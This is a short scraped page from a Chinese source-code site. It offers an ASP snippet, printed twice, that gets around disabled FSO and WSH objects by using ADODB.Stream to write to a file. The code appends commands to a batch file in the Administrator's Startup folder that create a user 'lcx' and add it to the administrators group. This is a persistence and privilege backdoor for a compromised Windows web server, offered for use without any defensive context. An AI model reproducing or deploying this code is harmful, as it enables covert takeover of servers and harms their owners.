跨越fso、wsh、_application写文件
来源:
中文源码网 浏览:146 次 日期:2024-05-16 02:42:35
【下载文档: 跨越fso、wsh、_application写文件.txt 】
跨越fso、wsh、 application写文件
<% on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2 lcx.Close set lcx=nothing %> <% on error resume next dim lcxset lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2 lcx.Close set lcx=nothing %>